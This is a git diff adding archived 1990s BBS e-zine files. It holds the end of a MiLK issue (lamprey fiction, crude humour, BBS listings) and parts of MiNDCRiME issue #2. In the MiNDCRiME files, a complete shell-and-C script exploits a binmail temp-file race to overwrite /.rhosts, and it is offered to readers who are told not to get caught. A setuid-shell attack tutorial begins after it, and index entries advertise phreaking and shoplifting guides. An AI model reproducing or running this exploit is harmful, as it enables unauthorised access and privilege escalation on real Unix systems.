is lean, but he +is strong. The importance of this catch does nothing but add to his +strength. The fish cannot win, eventually it will be brought up. + + The struggle lasts for forty-four minutes, and finally he gets sight of +the catch. It is bigger then he ever imagined. He has succeeded today. He +locks down the rod and get the net to pull the fish in the boat. He nets +the fish, and it is heavier then he thought, the nets pole all but breaking +as he strains to haul it in the boat. He plops it down, and as the fish +flops and struggles, he removes the net. Only now does he realize it. A +lamprey has attacked his fish! It is still attached, and bloated from all +the blood. His catch is ruined! He has failed! + + In rage he rips the lamprey free of the fish, and with all his might +twists off its head. He then hurls the still twitching carcass into the +water. He inspects the monstrous fish and sees that it is completely drained. + + It is worthless, as he suspected. All his work is for naught. He +is ruined, his fishing days are done, and the only joy in his life is gone. +In all of his calculations and studies he never figured on an infernal +lamprey attacking his catch. Maybe he should have planned for them he +thinks. But, alas, he knows it is too late, and he shall never fish again. + + Suddenly he hears a sound hes has never heard before. A sound such as +water being sucked into a vacuum, but very loud and very high pitched. He +turns and sees a whirlpool forming beside the boat. He fears he shall be +sucked into the maelstrom and be pulled down to a watery demise. As his +boat is pulled in, the swirling suddenly stops. Everything is as calm as it +could possibly be. + + With a humongous splash a giant head erupts from the water. The mouth of +the head is a round hole, with teeth around it in circular rows. It is a +lamprey, a fifty foot long one, at least. The lamprey turns to regard the +fisherman. Only then does the fisherman realize his mistake. + + He had read an ancient legend of the Guardian of the Lake, a giant worm +that sucks the life out of its victims. The Guardian's children live a +protected life in the lake, prosperous from the fact that any harm to them +will be avenged by their father. The fisherman dismissed this as foolish +myth. Unfortunately for him it turns out to be fact. + + The lamprey let out a hiss, and from its giant mouth emerges it's rasping +tongue, pointed like a spear. The tongue lances out and spears the +fisherman. His last though is regret for killing the lamprey. His pierced +body is drawn to the mouth of the Guardian, and he is quickly sucked dry. +The giant lamprey submerges and returns to his den beneath the bottom of the +lake. + +OoOoOo. . . +o The Fieldguide To Lampreys +. Appendix I {By Nyarlathotep} + + Since the first edition of the Fieldguide was type up, several +more variants of Lamprey have come to my knowledge. Also I +have learned additional facts about the abhorrent creatutes, +that might interest the hunter, scientiest, or hater. +Additionaly I am gonna talk a bit about the taxinomy of lampreys + + Well to start out with I think I will describe my +methods of discovering my information on the creatures. My +main source is fellow BBS'ers whose leads cause me to +investigate and discover more about the fiends. For instance +Oregano lead me on to the Crystal Pepsi thing. After getting +this lead, then either I myself, or one of the highly +skillled, handpicked researchers at the Institute of +Cultural Diffusion, Cosmetics and Lampreyology personally research the +new information. I assure you that all information presented +is true, accurate, and important to the survival of us all. + + One of the most interesting facts to surface since the +original guide was the discoverance of the origin of crystal +pepsi. It is lamprey urine... and You all though spam was bad +stuff! + + NEW DISCOVERIS AND VARIATIONS + +Flying Pink Lamprey- I have yet to witness one of these, but +someone on some chatboard (I forgot who it was!) swears she +has seen them (but she mentioned that certain substances may +have influenced it). They are basically pink colored lampreys, +similiar to the normal variety, that fly. There method of +levitation is unknown, but may be akin to that used by Chinese +Dragons. + +The Guardian of the Lake- Also known as The Grand Lamprey, +this is simply the biggest creature of the family confirmed to +exist. The guardian inhabits mainly lakes, but it can travel +all over the world. The main thing to watch for on it is its +tongue, which is well over 20 feet long and as sharp as a +spear. It can use its tongue to spear a victim and draw it to +its mouth, to be sucked dry. Granted a human is nothing but a +little slurp to a beast as great as this. Under no +circumstances should one try to destroy it, unless you have +access to an M1A1 Abrams Tank Plattoon. Additionally if you +know The Guardian is in the vicinity, be careful about what +lamperys you kill.. for it senses the death of its kindred, +and is quick to avenge. If you are fast, you may be able flee +from this great monstrosity, but you best hope you never meet +it. + +Electric Lampreys- These are varieties of common lampreys, +ususally the aquatic type, but there are reports of electric +lampreys. As far as known there are no known species of +electric giant lampreys, or mental lampreys. The main +peculiarity is these lampreys ability to generate an electric +surge on the magnitude of 100,000 volts, enuff to stun a man. +They use their powers of electricity to stun their prey before +the feed. It is best to wear a rubber suit when hunting +electric lampreys. + +Animator Lampreys- These lampreys are praticularly +frightening. They are relatively small, around 8 inches long. +They are amphibious. They feed like normal lampreys, however +after their prey is sucked dry, they can crawl in their +victims' skill and actually animate the corpse. In this manner +they can control any sort of body, from a weasel to a Great +Blue Whale. Beware of animator lampreys... who knows who you +friends really are? + + A NOTE ON THE TAXONOMY OF LAMPREYS + + In general lampreys belong to: + +Kingdom: Animalia +Phylum: Chordata +Class: Agnatha +Order: Petromyzontiformes +Family: Petromyzontidae + +Here are the specific Nomenclatures of all previously +described lamprey species, using the Genus, specific epithet +method. + +Sea Lamprey- Petromyzon marinus +Lesser Land Lamprey- Petromyzon terrestrius _normalis_ +Greater Land Lamprey- Petromyzon terrestrius _gigantus_ +Two-headed-glow-in-the-dark-lamprey- Lampetra lux (?) +Mental Lamprey- Petromyzon psyche +Giant Desert Lamprey- Lampetrix mortis (?) +Aboleth- no acceptable taxonomy +Flying Pink Lamprey- Petromyzon pinkus _avius_ (?) +Electric Lamprey- Petromyzon electricus +Guardian of the Lake- Lampetrix destruxi (?) (one of a kind + presumably) +Animator Lamprey- Lampetra animatoris + +OoOoOo. . . +o +. Itchi-Koo now (regretfully) presents........ + Thoughts about society. + Part I + + Have you ever realized that society really sucks? Society will label +you, embarrass you, and piss you off. People want you to be exactly like +them, and when you're not, blam-o, you're automatically labeled different, +wierd and strange. Dress odd? Whap, another bunch of remarks. Are you +free? Do you think you're free? Could you walk into a Jewel or Pathmark +wearinng a toga and Mickey Mouse ears? I don't think so. It makes you think, +"God, doesn't anybody care?" + Last week I saw a little girl out side of a 7-11. She was eating an ice +cream cone and she had a deck of cards in her other hand. While eating, she +almost lost the ice cream cone on the ground, but she dropped all of the +playing cards. I sat there and watched 5 people walk in the 7-11 and then +walk out. Did they see her? You're damn right they did. Did anyone help her? +No. Not one person. Why? Because she had a physical disability, and no one +would even stop to pick up one card for her. No one. + That's a perfect example of what's happening all over the country, right +now. Peope are becoming more and more arrogant everyday. They belive that +they are supreme to everyone. All races, all colors, all religions. +I'm not asking you to go blow up a car, but that's not a bad idea. What +I'm sking you to do is to think. Just think. That's it. Think about +why people act they way they do to you if you're different. If you're +different, flaunt yourself in their face. Show them that you're here to +stay, so they can take their rotten ass home to piss off. If you feel like +singing Mr. Rogers in a crowded mall, do it, dammit! Dance, sing, jump, be +yourself. Just don't sit there and say, " Boy, look at that freak. Ha ha!" +--------------------- +The story of Oompry, the bat. + One day, Oompry lived in a tropical rain forest. Some piss heads cut his +home down. He got mad, and bit all of the little bastards. They all got +rabies and died. +--------------------- + +OoOoOo. . . +o +. Behind The Scenes: Nyarlathotep + + Ok, I am sitting here at 1:30 A.M. I should really be sleeping... +I have class tomorrow at 8:00, but I was never one for a full night +sleep. Anyways on to the point of this little essay. I am Nyarlathotep, +the Crawling Chaos. I am the co-sysop on the Obloid Sphere. I hate +Lampreys. But this is all elementary stuff... who am I really? + I am the person that controls which shows stay on the air and +which shows don't. It never fails, but anytime I neglect a show that I +use to watch fanatically it goes off the air. + It all started around 7th or 8th grade. There was this awesome + cartoon, _Robotech_, that I had watched since 3rd or 4th grade. During + one of these years I neglected watching it regularly, and watched only + once or twice a week. It went off the air, never to return. + Remember that show _The_Wizard_? It starred Randall from the +movie _Time_Bandits_ as a guy who made toys and fought crime. I watched +that show fanatically for a season, but the next I had something to do +that night (I don't remember what though) and it went off the air. +_Family_Ties_ was another one of the carnage (good thing too... it +sucked). _Cosby_Show_, _St._Elsewhere_, and even _Quantum_Leap_, they all +have fallen prey to my busy schedule and general boredom with TV. + I fear now, since I watch so little TV, that _Northern_Exposure_ +and _The_Simpsons_ shall also fall prey to this effect. I hope that +_L.A._Law_ does become affected, for all our sakes. So the next time +your favorite show goes of the air... I'm sorry that I didn't Watch it! + +Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä + + Why Does Your Ballsack Hang Right After You Get Out Of The Shower? + + Does your ballsack feel like it has a 40 foot drop on it when you +first get out of the shower? Mine does. Well if you have this problem, like +most Americans do, you should continue reading this file to the end. + + When most people first get out of the shower they either: + +A. Have a huge erection the size of Antarctica. + +B. Have a ballsack that hangs like a droopy dog tounge. + +C. Have no dick. + +D. all of the above.?|! + + Whatever you pick I don't wanna know. But it is probally one of +those choices. |={hopefully}=| + + Lets go into detail about those chocies. + +A. Have a huge erection the size of Antarctica = + You have to be jacking off in order to reach this stage. +B. Have a ballsack that hangs like a droopy dog tounge = + You have been just washing and not playing at all with yourself in + anyway. Unless you are impitant. +C. Have no dick = + I feel sorry for you. Dicks are a lot of fun. +D. All of the above = + That means that you were jacking off and washing off and stroking + your emptyness near where your crotch should be. + + Overall this is a basic example of a short documentry on ballsacks +and I hope you learned a lot about ballsacks in general. + + WARNING........... + This text file was not meant to be truthful in anyway remeber + Please don't jackoff and wash off and rub your nothingness all + at the same time or you will strain you Verbatim. + + Hope you like my ballsack, + King Krazy + + +Please don't take my balls in your hands and squezee really hard. Thanks. + +Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä + + Flight of the Cartlifer (Revised) + + This job will be a snap, Johnny thought to himself as he tossed the +toilet paper into his Suitcase. He grinned as he grabbed all the soap and +shampoo and towels and hairnets and shower caps and the Giddeon Bible and +the phonebook and the pencils and the notepads and the pens and the Ice bucket +and the vase full of flowers and the remote control to the TV. He pillaged +the room until there was nothing smaller than a breadbox lying around in sight. +He even bothered to take all the wire hangers, that is how obessed this man +was. + + A knock at the door made Johnny nearly jump right out of his pants. +He quickly shut his suitcase and went to the door. The maid enters, cheery +as a dog in a big open field. + + "May I come in and Tidy up the room?" She questions. + + "Go right ahead. I'm just about packed and ready to leave." Johnny +remarks, holding the facade of a smile upon his face. + + The maid brings her cart into the room and moves into the bathroom, +proceeding to shine the mirror and dust. Johnny's eyes bulged out at the +sight of the HUNDREDS and HUNDREDS of little bottles of shampoo, the soaps, +the little mints, the shower caps! ... Johnny almost came in his pants when +he saw the little tubes of toothpaste! + + Johnny carefully made sure the maid wasn't paying attention and +quickly thrust as many little items in his jacket coat pockets as he could. +As soon as he had those filled, he tossed them all in his front jean pockets. + + The maid suddenly came in, almost making Johnny soil himself. + + "Everything okay? Do you need anything?" The maid asked. + + "No, I'm Fine." Johnny quickly replied, sighing in relief that the +maid hadn't noticed his bulging pockets. She probably wouldn't think the +bulging pockets were from little bottles, considering how attractive she was. + + The maid looks away, and once again Johnny started pocketing as many +little bottles he could. He had almost filled both his back pockets when +the maid turned around quickly and looked him directly in the eye. + + "You... You're stealing from my cart, aren't you?" she questioned +harshly. + + "...No!" Johnny quickly came up with, nothing better coming to mind. + + "How DARE you steal from MY cart!" The maid screams at a very loud +and angered tone. + + "Well... They are free items for the guests, aren't they?" Johnny +asked, trying to pass the blame away from him. + + "I'm... I'm going to call the management!" The maid declaired. + + "You Just do that!" Johnny demanded, now pretending to be +infuriated. + + Johnny moved to pick up his suitcase and leave to the downstairs, but +as he attempted this feat, he made a tragic flaw in his mechanics as he +picked up the suitcase without snapping it closed. All of the items he had +pillaged from the room came tumbling out onto the carpeting. + + "You stole ALL those things from this room!" The maid screamed. + + Johnny tried to grab all his belonging and quickly make a run for +it. Unfortunate for him, the maid was expecting an action like this, and +asserted one of her moves that she learned in her maid self-defense classes. + + "Freeze! One more move and you'll be sucking on a pine forest!" +The maid exclaims, Pine Sol ready and willing in hand. + + Johnny stared down the spray nozzle, and stood motionless. The maid, +never taking her eyes off of Jonny, moved over to the phone and called the +front desk. Within a moment the Security would be up to arrest Johnny. + + Johnny had very little time left to try to make his escape. He +bolted at the maid, trying to knock the can of Pine Sol away from her while +she was distracted on the phone. Johnny's timing was a second too late as +the maid sprayed the fresh smell of a evergreen forest directly into Johnny's +eyes, temporarily blinding him and making him flop around on the floor in +pain. + + Johnny was arrested, charged with attempted cartlifting. The police +took away all of Johnny's items that he had taken from the hotel, even the +plastic shoehorns, because plastic shoehorns are worth something too. The +maid smiled as she watched Johnny being dragged out, knowing she had taken +another Cartlifter off the streets. + +[ This story was taken from a Script written by Julie Burt for the Stage ] + +Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û BIG Issue #4 +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 31876 bytes long + diff --git a/textfiles.com/magazines/MILK/milkdist.ans b/textfiles.com/magazines/MILK/milkdist.ans new file mode 100644 index 00000000..160bc09d --- /dev/null +++ b/textfiles.com/magazines/MILK/milkdist.ans @@ -0,0 +1,5 @@ +Ü Ü ÜÜ Ü Û Û ÜÛ ß Û Û Û ÛÛß ß ß ß ß ßÄ Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä ÄThe [MiLK] Writers:James Hetfield þ Epic + þ Nyarlathotep þ Yohan Bawk þ Whoops þ Conrad þWinter Solstice þ King Krazy þ Randall Flagg þ MalakaiThe [MiLK] Couriers: +Pip The Angry Youth þ ZombieÄ Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä ÄThe [MiLK] Sites:The Obloid Sphere(708)965-3098  +[World Head] ChicagoThe Asylum(908)914-0198 [East Head] New JerseyViolent Playground(908)920-2575 [Dist Sight]  +New JerseyLand of Rape and Honey(609)698-1358 [Dist Sight] New JerseyBlack Dragon BBS(703)885-3072 [Dist Sight] Vermont diff --git a/textfiles.com/magazines/MILK/submit.nfo b/textfiles.com/magazines/MILK/submit.nfo new file mode 100644 index 00000000..06a2be76 --- /dev/null +++ b/textfiles.com/magazines/MILK/submit.nfo @@ -0,0 +1,51 @@ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ :::::ÜßßßÜ:ÜÜÛÛÛßß:ܲÛÛÛÛÜ::: +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ :::ÜÛÝ:::ÞÝÛÛܲÛÝßÞÛÛÛÜÜÛ²Ý:: +³°³ ³°³°³°ÀÄ´°Ú¿À¿ and :Ü۲ܲÜ::ß:ß²Û²ÛÛÜÜþÛÛßÛÛÛÛ:: +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ß:Û±Û²ÛÛßßß:±ßßßÛßÜÜÛÝÞÛ²ÜÝ:: + ::Û°ß::::ßßß°::ß:::ßÛ:ÛÛ²ß:gh + ° ß± +Submission Info ° +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + There are a few simple precedures to go through in order to submit +something to MiLK and TeA: + +-+- If you live in Area Code [609] or [908] (New Jersey Area): + + Call the Land of Rape and Honey, 1-609-698-1358. Email the Sysop, +Rattle, your submission. Or upload it to the BBS with the description +mentioning it is a submission to M&T. If you are a new user on this BBS, +The best bet would be to send the submission in the New User application, +that way we'll get it as quickly as possible. + +-+- If you live in Area Code [708] or [312] (Chicago, Illinois): + + Call the Obloid Sphere, 1-708-965-3098. Email the Sysop, James +Hetfield, your submission. Or Upload it to the BBS mentioning it is a +submission to M&T. + +-+- If you have internet access: + + If you have internet access and none of the above area codes are +local for you, you can send your subscription to one of the following +addresses: + + Rattle@cybercom.com + milk@ripco.com + + (Preferably, send the submission to Rattle@cybercom.com. I hardly +ever log on the ripco account.. thank you.) + +-+- If none of these choices apply to you: + + If you do not live local to New Jersey or Illinois, contact the +SysOp of the BBS you obtained the M&T files from. If this Sysop calls one +of those two distribution sights, purhaps he can drop the submission off for +you. + + Thank you for reading this. We hope to get your submission soon. + +-James Hetfield + +-*- This file is 1997 bytes long + diff --git a/textfiles.com/magazines/MINDCRIME.1 b/textfiles.com/magazines/MINDCRIME.1 new file mode 100644 index 00000000..e087ddec --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME.1 @@ -0,0 +1,32 @@ + +T E X T F I L E S + +

Electronic Magazines: MiNDCRiME

+

+Without the first issue to guide me in the average quality, I can say that the +second issue is a mish-mash of ranting about the quality of IRC, source code for +exploiting sendmail and a reprinted news story. Not shining. +

+ + + + +
+
Filename
Size
Description of the Textfile
mc-01.txt 8490
 MINDCRIME Issue #2: "Holy Fux, Batman!" (December 1, 1994) +
mc-02.txt 2874
 MINDCRIME #2: Binmail Script from Zomo +
mc-03.txt 3789
 MINDCRIME #3: Why Shell Scripts With the SUID Bit Aren't Safe +
mc-04.txt 2810
 MINDCRIME #4: Asshole of the Month (And Other Awards) +
mc-05.txt 5244
 MINDCRIME #5: by IP: Easedropping and Cards (December 4, 1994) +
mc-06.txt 5298
 MINDCRIME #6: How to Mess Up Department Store Macs by C-D and Walrus +
mc-07.txt 14819
 MINDCRIME #7: Phreaking, a Begginer's Fuide by WyreTapp (November 25th, 1994) +
mc-08.txt 7754
 MINDCRIME #8: Stealing Comic Books by Kid Eternity +
mc-09.txt 10307
 MINDCRIME #9: Getting Even by H0wcum +
mc-10.txt 2468
 MINDCRIME #10: John Falcon's Arrest +
mc-11.txt 2218
 MINDCRIME #11: The Latest Sendmail Script +
mc-2.phk 66071
 MiNDCRiME Issue #2: Holy Fux, Batman! (December 1, 1994) +
mcofc1.txt 11185
 The MindCrime Official Fan Club #1 +
mcofc2.txt 5987
 The MindCrime Official Fan Club #2 +
mcofc3.txt 10284
 The MindCrume Official Fan Club #3 +

There are 15 files for a total of 159,598 bytes.

+ + diff --git a/textfiles.com/magazines/MINDCRIME/.windex.html b/textfiles.com/magazines/MINDCRIME/.windex.html new file mode 100644 index 00000000..e89c7053 --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/.windex.html @@ -0,0 +1,32 @@ + +T E X T F I L E S + +

Electronic Magazines: MiNDCRiME

+

+Without the first issue to guide me in the average quality, I can say that the +second issue is a mish-mash of ranting about the quality of IRC, source code for +exploiting sendmail and a reprinted news story. Not shining. +

+ + + + +
+
Filename
Size
Description of the Textfile
mc-01.txt 8490
 MINDCRIME Issue #2: "Holy Fux, Batman!" (December 1, 1994) +
mc-02.txt 2874
 MINDCRIME #2: Binmail Script from Zomo +
mc-03.txt 3789
 MINDCRIME #3: Why Shell Scripts With the SUID Bit Aren't Safe +
mc-04.txt 2810
 MINDCRIME #4: Asshole of the Month (And Other Awards) +
mc-05.txt 5244
 MINDCRIME #5: by IP: Easedropping and Cards (December 4, 1994) +
mc-06.txt 5298
 MINDCRIME #6: How to Mess Up Department Store Macs by C-D and Walrus +
mc-07.txt 14819
 MINDCRIME #7: Phreaking, a Begginer's Fuide by WyreTapp (November 25th, 1994) +
mc-08.txt 7754
 MINDCRIME #8: Stealing Comic Books by Kid Eternity +
mc-09.txt 10307
 MINDCRIME #9: Getting Even by H0wcum +
mc-10.txt 2468
 MINDCRIME #10: John Falcon's Arrest +
mc-11.txt 2218
 MINDCRIME #11: The Latest Sendmail Script +
mc-2.phk 66071
 MiNDCRiME Issue #2: Holy Fux, Batman! (December 1, 1994) +
mcofc1.txt 11185
 The MindCrime Official Fan Club #1 +
mcofc2.txt 5987
 The MindCrime Official Fan Club #2 +
mcofc3.txt 10284
 The MindCrume Official Fan Club #3 +

There are 15 files for a total of 159,598 bytes.

+ + diff --git a/textfiles.com/magazines/MINDCRIME/mc-01.txt b/textfiles.com/magazines/MINDCRIME/mc-01.txt new file mode 100644 index 00000000..e83a6a26 --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-01.txt @@ -0,0 +1,186 @@ + + + + # # # # ###### ##### ###### # # ####### + ## ## # ## # # # # # # # # ## ## # + # # # # # # # # # # # # # # # # # # # + # # # # # # # # # # ###### # # # # ##### + # # # # # # # # # # # # # # # + # # # # ## # # # # # # # # # # + # # # # # ###### ##### # # # # # ####### + + - - - - - ------ ----- - - - - - ------- + - - - - -- - - - - - - - - - - + - - - - - - - - - - - - - - - + - - - - - - - - - - ----- - - - - ----- + - - - - - - - - - - - - - - - - - - - + -- -- - -- - - - - - - - - -- -- - +- - - - ------ ----- ----- - - ------- + + Issue #2 + "Holy fux, Batman!" + Dec 1, 1994 + + =================================[MiNDCRiME]================================== + MiNDCRiME Magazine is protected under Copywright laws of the United States + and Europe. No portion of this work may be duplicated without the expressed + permission of the editor. MiNDCRiME Magazine may be distributed freely + as long as the distributed copy is unaltered. Use of MiNDCRiME within any + corporation whether private or government is subjected to a fee. E-Mail + mndcrime@m-net.arbornet.org for information on commercial license. + =================================[MiNDCRiME]================================== + + + + [Table Of Contents] + + File #1: + b. Article submission information. + c. About articles that appear in MiNDCRiME. + d. EDiTORiAL: IRC thoughts by h0wcum. (continued) + File #2: Sendmail: the latest exploit by zomo. + File #3: Beginner's Guide to Hacking continues with setuid stuff from + zomo. + File #4: MiNDCRiME's Official Emmy Awards. + File #5: eASE dROPPING aND cARDS by iP + File #6: How to Mess up Department Store Macs By C-D and Walrus + File #7: Phreaking, a Beginner's Guide by WyreTapp. + File #8: Stealing Comic Books by kid Eternity + File #9: Getting Even: the sequel your momma warned you about. + b: Supplimental Toolz: Fake Mail + News + File #10: News Flash: Hacker gets 20-month sentence. Courtesy Rerror. + File #11: New sendmail hole? + +================================[MiNDCRiME]================================ + + Introduction + + Welcome to iSSUE #2 of MiNDCRiME. Things are rolling now, we are +a little late with this issue because some of our authors are late +sending in their articles. The initial reaction to MiNDCRiME has been +mixed. There are people who say it rox, and there are ppl who say it sux. +Nevertheless, I have been highly sought after since publishing the first +issue. + +MiNDCRiME is: + h0wcum : editor + Valgamon: assistant editor. (welcome aboard!) + iP : global co-ordinator. + oJ : Staff dude + Digital : Staff dude + + So here is the second issue. I hope everyone gets a little +something from it. Enjoy and don't get caught. + +================================[MiNDCRiME]================================ + Submission Information + + If you would like to submit an article, email the article as well as your + handle to: mndcrime@cyberspace.net. All submissions are subjected to + editing and rejection. We are currently looking for articles on: + + Easy systems, + Hacker's sites, BBSs and FTP sites on the net. + Unix hacking tutorials, src codes, bugs, shell scripts, etc. + Recent information on Kevin Mitnick. + Unix and general computer jokes. + World hacking and phreaking news. + Use your imagination. + + Direct all comments and questions to the address noted above. + Direct all flames to /dev/null or my anus, whichever floats your boat. +==================================[MiNDCRiME]=============================== + + About Article Submission + + Some people have pulled me aside on IRC to tell me they thought +certain submitted articles in issue #1 were lame. I'd just like to point +out that the people who write for us put a bit of effort into their work +and it isn't fair to shoot them down so quickly. I'd also like to add +that if you hotshots think you can do better, you are *more* than welcome +to submit an article. + Remember, next time it could be you they are saying wrote a lame +article. We try hard, Valgamon and I to put out the best magazine that we +can. You can take your attitudes and put them where the sun don't shine. +If you have some constructive criticism to offer, we will be happy to +hear it, but if you want to cop an attitude with us, you can eat me. + +================================[MiNDCRiME]=============================== + + Thoughts on IRC + by h0wcum + + As you all know #hack is +i. I'd like to start off this message +saying that I intend no disrespect to any of those who have chosen to +make #hack invite only. This is merely my opinion, which is shared by +many, even those who choose not to gripe openly about it. + + For quite some time #hack has had its doors open to all who wished +to enter. That was the essence of the channel. The only time I have known +#hack to be invite only is when the channel has been taken over, and it +it appears now that it has been taken over for the final time, on a more +permanent basis. + + No one person, or small group of people own #hack. No one has the +right to make the channel invite only: it's like inviting or refusing +quests to someone elses' house. You have no right to make #hack +i. It's +*not* yours. The decision to make #hack +i was brought about by +one individual and supported by others. It is, however, contested by +many, some of which who are ops, who have tried to make #hack -i and +ended up in a +i <--> -i war with len. + + Let's forget for a moment that you have absolutley *no fucking* +right to make any permanent descisions on the channel. Let's forget that you +have to be re-opped evertime you join #hack and that #hack does not +automattically role out the red carpet and op you when you join. Let's +examine, if you will, the inconvenience factor. + + I usually get invited to #hack, that is, when ops are awake. Getting +into the channel at night or even at 8am is another story. Check it: + +<-[len]-> invite #hack +*** len is away: ask mark ][ceman or loki or y or loq +<-[mark]-> invite #hack +*** Mark is away: Doing evil thigns to evil things +<-[][ceman]-> invite #hack +<-[y]-> invite #Hack +*** y: No such nick/channel +<-[loq]-> invite #hack +*** loq is away: ZZzzzZZZ...msg len loki ragent gentry for invite +<-[ragent]-> invite #hack +*** ragent: No such nick/channel +<-[gentry]-> invite #hack +*** gentry: No such nick/channel +<-[loki]-> inite #Hack + + .... or my personally favorite circular reference: + +<-[len]-> invite +*** len is away: ask mark +<-[mark]-> invite +*** Mark is away: ask len + + As you can see, one has to fuck around for a time just +to get an invite. You end up in a big circle of invite /msg's +just to get into a channel that should be allowed in with no +hassle. + + This is rediculous. I emplore those who are holding +#hack hostage to take a fucking step back and realizee that +you have exactly *squats* worth of authority to make it +i, +especially when there are so many against it. len, you don't +own #hack, I don't know who you are, but in all my time on +#hack, I've just started to see you around in the last few +months, unless you went by another nick. + + I don't wanna blow sunshine up anyone's ass, but I'd +like to open this to a vote. If you are a non-op on #hack, send +e-mail to our address and explain your position on this. Also, I am +not trying to blow sunshine up anyone's ass, but this shit has got to end. + + + +==================================[MiNDCRiME]=============================== + + + diff --git a/textfiles.com/magazines/MINDCRIME/mc-02.txt b/textfiles.com/magazines/MINDCRIME/mc-02.txt new file mode 100644 index 00000000..a1ac38c4 --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-02.txt @@ -0,0 +1,100 @@ +=================================[MiNDCRiME]================================== +[FiLE #2:] + +[Here's the latest binmail script. I don't know how many of you have it, +but here it is. This is courtesy of zomo. ] + +From zomo@narqlinq.net23.com Sat Oct 8 10:28:21 1994 +Date: Sat, 8 Oct 1994 10:01:48 -0500 +From: zomo@narqlinq.net23.com + +#!/bin/sh +# +# This exploits a flaw in Ultrix/SunOS binmail(1), and attempts +# to embarrass the admin, by creating an motd entry. +# +# Written 1994 by Nate Lawson +# Minor Revisions by Chris Ellwood +# Thanks go to 8lgm for the basic script format. + +PATH=/usr/ucb:/usr/bin:/bin export PATH +IFS=" " export IFS +PROG="`basename $0`" +ME="`whoami`" +PWENT="`hostname` `whoami`" + +cat > race.c << 'EOF' + +#define TARGET "/.rhosts" + +#include +#include +#include + +int main( ac,av) int ac; char **av; +{ + unsigned int pid,bpid; /* Some machines don't have pid_t */ + int i; + char target[13]; + strcpy (target,"/tmp/maa"); + /* General format for binmail temp names */ + + if ((pid = fork())==0) { + sleep (2); + nice (19); /* Increase our chances and ... */ + execl ("/bin/mail","mail",0); /* Fork binmail */ + } + + bpid=pid; /* back up our pid for a later time */ + + for (i=11;i>=8;i--) { + target[i]=(pid%10) + '0'; + /* Make the name for the tempfile */ + pid /= 10; + } + while (!symlink(TARGET,target)) unlink (target); + /* Point that mktemp()'d file to the pot of gold */ + while (symlink(TARGET,target)) unlink (target); + /* Probably not necessary, but what the heck */ + + kill(bpid,1); /* Clean up, don't want to lag the system */ +} + +EOF + +cc -O -s -o race race.c + +# Check we now have race +if [ ! -x "race" ]; then + echo "$PROG: couldnt compile race.c - lame!" + exit 1 +fi + +OLD_TARGET_LEN=`ls -ld $TARGET_FILE |awk -F' ' '{print $4}'` 2>/dev/null +NEW_TARGET_LEN=$OLD_TARGET_LEN + +cp /usr/spool/mail/$ME /tmp/$$ # Backup the mail spool.. we need it +cp /dev/null /usr/spool/mail/$ME +echo "" >> /usr/spool/mail/$ME +echo $PWENT >> /usr/spool/mail/$ME +echo "" >> /usr/spool/mail/$ME + +while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do + ./race & + RACE_PID=$! + sleep 4 + NEW_TARGET_LEN=`ls -ld $TARGET_FILE |awk -F' ' '{print $4}'` 2>/dev/null + kill -9 $RACE_PID +done + +# We won the race +echo "Succeeded.." +# Add back our spool.. don't want to lose our mail. +cp /dev/null /usr/spool/$ME +cp /tmp/$$ /usr/spool/mail/$ME +rm -f /tmp/$$ race race.c +exit 0 + +=================================[MiNDCRiME]================================== + + diff --git a/textfiles.com/magazines/MINDCRIME/mc-03.txt b/textfiles.com/magazines/MINDCRIME/mc-03.txt new file mode 100644 index 00000000..9488d245 --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-03.txt @@ -0,0 +1,94 @@ +=================================[MiNDCRiME]================================== +[FiLE #3:] +[I'd like to remind folks that this is the "Beginner's" section. Most of + you will know this. I don't need to hear colorful remarks about + how "old" this is. -hc] + + "Why shell scripts with the set-user-id bit set aren't safe?" + by zomo + + Most shells will run as a login shell if the first character of their +argv[0] starts with a '-'. This is how login manages to give you a login +shell (check login.c). It calls csh as '-csh'. One of the things that a +login shell does is 